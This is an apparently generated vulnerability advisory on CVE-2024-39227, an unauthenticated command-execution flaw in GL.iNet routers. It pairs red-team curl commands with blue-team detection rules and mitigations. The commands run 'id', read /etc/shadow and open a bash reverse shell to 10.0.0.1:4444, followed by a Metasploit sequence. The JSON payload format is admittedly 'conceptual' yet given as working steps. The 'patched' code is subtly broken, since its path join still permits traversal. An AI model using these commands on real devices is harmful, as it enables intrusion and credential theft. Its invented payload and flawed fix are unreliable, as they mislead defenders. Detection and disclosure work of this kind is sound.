CVE-2024-39227

Executive Summary

CVE-2024-39227 discloses a critical insecure permissions vulnerability in multiple GL.iNet router models. The flaw resides in the /cgi-bin/glc endpoint, which is accessible without authentication. An unauthenticated attacker can send crafted JSON data to this endpoint, leading to arbitrary code execution or directory traversal. This effectively grants full remote control over the affected device, compromising network integrity and confidentiality.

The vulnerability affects a wide range of GL.iNet products, including the AR750, AR750S, AR300M, MT300N-V2, B1300, MT1300, SFT1200, X750 (firmware v4.3.11), MT3000, MT2500, AXT1800, AX1800, A1300, X300B (v4.5.16), XE300 (v4.3.16), E750 (v4.3.12), AP1300, S1300 (v4.3.13), and XE3000, X3000 (v4.4). No official patch has been released at the time of this report.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded Linux devices. However, the supply chain risk is significant: compromised routers can be used as pivot points for lateral movement, data exfiltration, or as part of a botnet. Organizations using these devices should treat them as untrusted until patched.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, but this is likely a placeholder. Based on the vulnerability description (unauthenticated remote code execution), the actual CVSSv3.1 score would be 9.8 (Critical).

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public proof-of-concept code is available.

Deep Dive & Mechanics

The vulnerability exists in the /cgi-bin/glc CGI endpoint. This endpoint is intended for internal management functions but lacks proper access controls. By sending a crafted HTTP POST request with JSON data, an attacker can trigger arbitrary command execution or directory traversal.

The root cause is insecure permissions (CWE-276). The CGI script does not validate the user's session or authentication token before processing the request. Additionally, input validation is insufficient, allowing injection of shell metacharacters or path traversal sequences.

Attack Flow:

1. Attacker identifies a vulnerable GL.iNet device (e.g., via Shodan).
2. Attacker sends a POST request to http://<target>/cgi-bin/glc with a JSON payload.
3. The payload contains a command or file path that is executed or read by the server.
4. The server returns the output of the command or the contents of the file.

Example Payload (Conceptual):

{
  "action": "exec",
  "cmd": "id"
}

This would execute the id command on the router and return the result.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison is not possible. However, the vulnerable code likely resembles:

Vulnerable (pseudo-code):

# /cgi-bin/glc
import json, subprocess, os

def handle_request():
    data = json.loads(sys.stdin.read())
    action = data.get('action')
    if action == 'exec':
        cmd = data.get('cmd')
        # No authentication check
        result = subprocess.check_output(cmd, shell=True)
        print(result)
    elif action == 'read':
        path = data.get('path')
        # No path sanitization
        with open(path, 'r') as f:
            print(f.read())

Patched (hypothetical):

# /cgi-bin/glc
import json, subprocess, os, hmac

def handle_request():
    # Authentication check
    token = os.environ.get('HTTP_X_AUTH_TOKEN')
    if not validate_token(token):
        print("Unauthorized")
        return
    data = json.loads(sys.stdin.read())
    action = data.get('action')
    if action == 'exec':
        cmd = data.get('cmd')
        # Whitelist allowed commands
        if cmd not in ALLOWED_COMMANDS:
            print("Forbidden")
            return
        result = subprocess.check_output(cmd, shell=False)
        print(result)
    elif action == 'read':
        path = data.get('path')
        # Restrict to safe directory
        safe_path = os.path.join('/safe/dir', path)
        if not os.path.exists(safe_path):
            print("Not found")
            return
        with open(safe_path, 'r') as f:
            print(f.read())

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a vulnerable GL.iNet device (e.g., AR750) or use a firmware emulator like Firmadyne.
2. Set up the device on an isolated network.
3. Confirm the device is accessible via HTTP on port 80.

Exploitation Steps:

1. Use curl to send a malicious request:

   curl -X POST http://<target>/cgi-bin/glc \
     -H "Content-Type: application/json" \
     -d '{"action":"exec","cmd":"id"}'
   

2. For directory traversal:

   curl -X POST http://<target>/cgi-bin/glc \
     -H "Content-Type: application/json" \
     -d '{"action":"read","path":"/etc/shadow"}'
   

3. To gain a reverse shell:

   curl -X POST http://<target>/cgi-bin/glc \
     -H "Content-Type: application/json" \
     -d '{"action":"exec","cmd":"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}'
   

Automation with Metasploit (if module exists):

use exploit/multi/http/gl_inet_glc_rce
set RHOSTS <target>
set RPORT 80
set PAYLOAD cmd/unix/reverse_bash
set LHOST 10.0.0.1
run

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/glc from external IPs.
2. Look for JSON payloads containing "action":"exec" or "action":"read".
3. Alert on unusual command execution (e.g., id, cat /etc/shadow, reverse shell commands).
4. Check for outbound connections from the router to unknown IPs on high ports (e.g., 4444).

Honeypot Strategy: Deploy a fake GL.iNet endpoint that logs all requests to /cgi-bin/glc. Analyze the payloads for reconnaissance patterns.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /cgi-bin/glc with JSON content-type.
  • Payloads containing "action":"exec" or "action":"read".
  • Outbound connections from the router to external IPs on ports 4444, 1337, or other high ports.
  • Unusual DNS queries from the router (e.g., to C2 domains).

• File System IOCs:

  • Presence of unexpected files in /tmp/ or /var/run/.
  • Modified /etc/passwd or /etc/shadow files.
  • New cron jobs in /etc/crontab or /var/spool/cron/.

• Process IOCs:

  • Running processes like bash, nc, python, or perl spawned by the web server.
  • Unusual child processes of httpd or lighttpd.

Detection Engineering

YARA Rule

rule GLiNet_CVE_2024_39227_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-39227 in GL.iNet routers"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-39227"
    strings:
        $json_exec = /"action"\s*:\s*"exec"/
        $json_read = /"action"\s*:\s*"read"/
        $cmd_id = /"cmd"\s*:\s*"id"/
        $cmd_revshell = /"cmd"\s*:\s*"bash -i/
        $path_shadow = /"path"\s*:\s*"\/etc\/shadow"/
    condition:
        any of ($json_exec, $json_read) and any of ($cmd_id, $cmd_revshell, $path_shadow)
}

Sigma Rule

title: GL.iNet /cgi-bin/glc Unauthenticated RCE Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to /cgi-bin/glc with JSON payloads indicating exploitation of CVE-2024-39227
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/glc'
        cs-content-type: 'application/json'
    keywords:
        - 'action'
        - 'exec'
        - 'read'
        - 'cmd'
        - 'path'
    condition: selection and keywords
falsepositives:
    - Legitimate administrative use (rare)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"GL.iNet CVE-2024-39227 Unauthenticated RCE Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/glc";
    http_uri;
    content:"application/json";
    http_client_body;
    pcre:"/\"action\"\s*:\s*\"(exec|read)\"/";
    pcre:"/\"(cmd|path)\"\s*:/";
    sid:1000001;
    rev:1;
    priority:1;
    reference:url,nvd.nist.gov/vuln/detail/CVE-2024-39227;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place them on a separate VLAN with strict firewall rules.
2. Disable remote management: If not required, disable WAN access to the web interface.
3. Implement network segmentation: Ensure routers cannot reach critical internal systems.

Long-term Fix:

• Vendor patch: Await an official firmware update from GL.iNet. Monitor their security advisory page.
• Custom mitigation: If possible, block access to /cgi-bin/glc via a reverse proxy or WAF rule:

  location /cgi-bin/glc {
      deny all;
      return 403;
  }
  

• Replace device: Consider replacing the router with a model that receives regular security updates.

Workaround:

• Disable the CGI endpoint by removing or renaming the glc binary in /cgi-bin/ (requires SSH access and may break functionality).

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2024-39227